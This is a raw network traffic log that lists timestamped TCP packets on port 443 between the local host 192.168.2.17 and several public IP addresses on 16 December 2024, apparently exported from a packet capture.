Dec 16, 2024 18:45:30.246371031 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.246383905 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.250490904 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.250612020 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.250631094 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.254091978 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.254209042 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.254220963 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.258831024 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.259021044 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.259027004 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.261883974 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.261960030 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.261982918 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.262010098 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.262084961 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.268870115 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.275540113 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.275645971 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.275655985 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.276030064 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.276114941 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.276154995 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.281210899 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.283173084 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.283271074 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.283284903 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.307212114 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.310467005 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.310564041 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.310580015 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.315382004 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.315555096 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.315563917 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.324879885 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.325062037 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.325069904 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.325144053 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.328244925 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.329379082 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.329410076 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.333894014 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.333904982 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.334036112 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.334045887 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.334139109 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.342489958 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.342499971 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.342600107 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.342607021 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.342638969 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.342767000 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.342941046 CET	49744	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:30.342957020 CET	443	49744	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:30.376318932 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.383662939 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.385924101 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.385998011 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.386029959 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.389601946 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.389679909 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.389694929 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.398531914 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.398616076 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.398627996 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.398699999 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.407205105 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.407222986 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.407283068 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.411458015 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.411536932 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.411550045 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.411649942 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.420269966 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.420294046 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.420363903 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.423985004 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.424002886 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.424060106 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.424107075 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.424118042 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.424257994 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.424349070 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.424365997 CET	443	49745	172.64.147.16	192.168.2.17
Dec 16, 2024 18:45:30.424395084 CET	49745	443	192.168.2.17	172.64.147.16
Dec 16, 2024 18:45:30.433904886 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.437937975 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.437978983 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.438005924 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.438016891 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.438060045 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.445369959 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.456053019 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.456115007 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.456124067 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.463968039 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.464076042 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.464083910 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.471435070 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.471502066 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.471509933 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.479186058 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.479321957 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.479327917 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.486983061 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.487050056 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.487056971 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.494816065 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.494910955 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.494919062 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.502312899 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.502449036 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.502454996 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.502974033 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.503129959 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.503221035 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.503242970 CET	49749	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.503249884 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.503297091 CET	49749	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.503365040 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.505644083 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.505723953 CET	49749	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.505728960 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.510041952 CET	443	49733	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:30.510124922 CET	443	49733	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:30.510303020 CET	49733	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:30.510332108 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.510390997 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.510396957 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.510724068 CET	49733	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:30.510765076 CET	443	49733	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:30.513406038 CET	49758	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.513493061 CET	443	49758	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.513679028 CET	443	49750	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.513691902 CET	49758	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.513839006 CET	443	49750	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.513870001 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.513917923 CET	49750	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.513936996 CET	49749	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.513942957 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.513967991 CET	49758	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.514000893 CET	443	49758	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.514211893 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.514276028 CET	49749	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.514446974 CET	49749	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.514456034 CET	443	49749	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.514826059 CET	49750	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:30.514879942 CET	443	49750	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:30.525402069 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.525512934 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.525569916 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.525577068 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.525624990 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.533118963 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.557060957 CET	49759	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:30.557105064 CET	443	49759	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:30.557342052 CET	49759	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:30.557557106 CET	49759	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:30.557574034 CET	443	49759	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:30.581233978 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.581885099 CET	443	49751	104.18.41.124	192.168.2.17
Dec 16, 2024 18:45:30.582079887 CET	443	49751	104.18.41.124	192.168.2.17
Dec 16, 2024 18:45:30.582186937 CET	443	49751	104.18.41.124	192.168.2.17
Dec 16, 2024 18:45:30.582190990 CET	49751	443	192.168.2.17	104.18.41.124
Dec 16, 2024 18:45:30.582238913 CET	443	49751	104.18.41.124	192.168.2.17
Dec 16, 2024 18:45:30.582324028 CET	49751	443	192.168.2.17	104.18.41.124
Dec 16, 2024 18:45:30.582345009 CET	443	49751	104.18.41.124	192.168.2.17
Dec 16, 2024 18:45:30.582371950 CET	443	49751	104.18.41.124	192.168.2.17
Dec 16, 2024 18:45:30.582433939 CET	49751	443	192.168.2.17	104.18.41.124
Dec 16, 2024 18:45:30.583349943 CET	49751	443	192.168.2.17	104.18.41.124
Dec 16, 2024 18:45:30.583379984 CET	443	49751	104.18.41.124	192.168.2.17
Dec 16, 2024 18:45:30.626910925 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.629986048 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.630048037 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.630057096 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.636590958 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.636674881 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.636682034 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.649739027 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.649817944 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.649832010 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.649899006 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.657083988 CET	49760	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:30.657129049 CET	443	49760	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:30.657571077 CET	49760	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:30.657826900 CET	49760	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:30.657854080 CET	443	49760	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:30.661832094 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.661848068 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.661923885 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.667504072 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.667515993 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.667577982 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.678556919 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.678566933 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.678631067 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.684125900 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.684201002 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.684207916 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.684232950 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.684288025 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.684408903 CET	49746	443	192.168.2.17	104.16.107.254
Dec 16, 2024 18:45:30.684416056 CET	443	49746	104.16.107.254	192.168.2.17
Dec 16, 2024 18:45:30.727920055 CET	49761	443	192.168.2.17	172.64.146.132
Dec 16, 2024 18:45:30.728007078 CET	443	49761	172.64.146.132	192.168.2.17
Dec 16, 2024 18:45:30.728144884 CET	49761	443	192.168.2.17	172.64.146.132
Dec 16, 2024 18:45:30.728337049 CET	49761	443	192.168.2.17	172.64.146.132
Dec 16, 2024 18:45:30.728370905 CET	443	49761	172.64.146.132	192.168.2.17
Dec 16, 2024 18:45:31.101567030 CET	443	49752	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:31.101969957 CET	49752	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:31.101995945 CET	443	49752	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:31.103182077 CET	443	49752	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:31.103595972 CET	49752	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:31.103748083 CET	49752	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:31.103771925 CET	443	49752	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:31.152235031 CET	49752	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:31.279611111 CET	443	49754	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:31.279891014 CET	49754	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:31.279932976 CET	443	49754	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:31.280474901 CET	443	49754	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:31.280790091 CET	49754	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:31.280930042 CET	49754	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:31.280942917 CET	443	49754	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:31.280977964 CET	443	49754	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:31.284039021 CET	443	49755	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.284257889 CET	49755	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.284296036 CET	443	49755	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.285332918 CET	443	49753	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.285576105 CET	49753	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.285599947 CET	443	49753	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.285631895 CET	443	49755	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.285943031 CET	49755	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.286057949 CET	49755	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.286070108 CET	443	49755	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.286359072 CET	443	49755	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.286768913 CET	443	49753	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.287055969 CET	49753	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.287147999 CET	443	49753	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.287148952 CET	49753	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.326225996 CET	49754	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:31.326273918 CET	49755	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.327333927 CET	443	49753	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.342288971 CET	49753	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.429234982 CET	443	49756	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:31.429502010 CET	49756	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:31.429558992 CET	443	49756	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:31.430645943 CET	443	49756	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:31.430721045 CET	49756	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:31.431201935 CET	49756	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:31.431282997 CET	443	49756	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:31.431402922 CET	49756	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:31.431420088 CET	443	49756	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:31.455255985 CET	443	49757	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:31.455607891 CET	49757	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:31.455640078 CET	443	49757	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:31.456681967 CET	443	49757	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:31.456775904 CET	49757	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:31.457263947 CET	49757	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:31.457330942 CET	443	49757	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:31.457447052 CET	49757	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:31.457456112 CET	443	49757	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:31.486246109 CET	49756	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:31.502331018 CET	49757	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:31.553786993 CET	443	49752	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:31.554080009 CET	443	49752	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:31.554141998 CET	49752	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:31.554902077 CET	49752	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:31.554924011 CET	443	49752	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:31.725123882 CET	443	49758	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:31.725405931 CET	49758	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:31.725440979 CET	443	49758	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:31.725918055 CET	443	49758	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:31.726273060 CET	49758	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:31.726365089 CET	443	49758	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:31.726403952 CET	49758	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:31.757600069 CET	443	49755	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.757955074 CET	443	49755	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.758069038 CET	49755	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.758729935 CET	49755	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.758768082 CET	443	49755	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.761466980 CET	49762	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:31.761499882 CET	443	49762	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:31.761584997 CET	49762	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:31.761795044 CET	49762	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:31.761810064 CET	443	49762	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:31.767330885 CET	443	49758	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:31.767635107 CET	443	49753	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.767970085 CET	443	49753	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.768049002 CET	49753	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.768698931 CET	49753	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.768714905 CET	443	49753	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.768779993 CET	443	49754	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:31.768870115 CET	443	49754	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:31.768937111 CET	49754	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:31.769676924 CET	49754	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:31.769714117 CET	443	49754	104.18.80.204	192.168.2.17
Dec 16, 2024 18:45:31.770251036 CET	49758	443	192.168.2.17	104.18.80.204
Dec 16, 2024 18:45:31.771348953 CET	49763	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:31.771399975 CET	443	49763	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:31.771553993 CET	49763	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:31.771734953 CET	49763	443	192.168.2.17	104.16.117.116
Dec 16, 2024 18:45:31.771763086 CET	443	49763	104.16.117.116	192.168.2.17
Dec 16, 2024 18:45:31.772746086 CET	49764	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:31.772794962 CET	443	49764	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:31.772885084 CET	49764	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:31.773066044 CET	49764	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:31.773089886 CET	443	49764	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:31.776571035 CET	443	49759	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.776778936 CET	49759	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.776788950 CET	443	49759	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.777931929 CET	443	49759	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.778000116 CET	49759	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.778281927 CET	49759	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.778348923 CET	443	49759	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.778393984 CET	49759	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.823323011 CET	443	49759	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.832225084 CET	49759	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.832247972 CET	443	49759	104.16.118.116	192.168.2.17
Dec 16, 2024 18:45:31.874264002 CET	443	49760	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:31.874511957 CET	49760	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:31.874536991 CET	443	49760	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:31.878021955 CET	443	49760	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:31.878099918 CET	49760	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:31.878417969 CET	49760	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:31.878519058 CET	443	49760	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:31.878547907 CET	49760	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:31.879209042 CET	49759	443	192.168.2.17	104.16.118.116
Dec 16, 2024 18:45:31.904570103 CET	443	49756	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:31.904654980 CET	443	49756	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:31.904959917 CET	49756	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:31.905581951 CET	49756	443	192.168.2.17	104.16.109.254
Dec 16, 2024 18:45:31.905626059 CET	443	49756	104.16.109.254	192.168.2.17
Dec 16, 2024 18:45:31.919352055 CET	443	49760	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:31.927232027 CET	49760	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:31.927248001 CET	443	49760	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:31.939862967 CET	443	49761	172.64.146.132	192.168.2.17
Dec 16, 2024 18:45:31.940124035 CET	49761	443	192.168.2.17	172.64.146.132
Dec 16, 2024 18:45:31.940181017 CET	443	49761	172.64.146.132	192.168.2.17
Dec 16, 2024 18:45:31.941195965 CET	443	49761	172.64.146.132	192.168.2.17
Dec 16, 2024 18:45:31.941266060 CET	49761	443	192.168.2.17	172.64.146.132
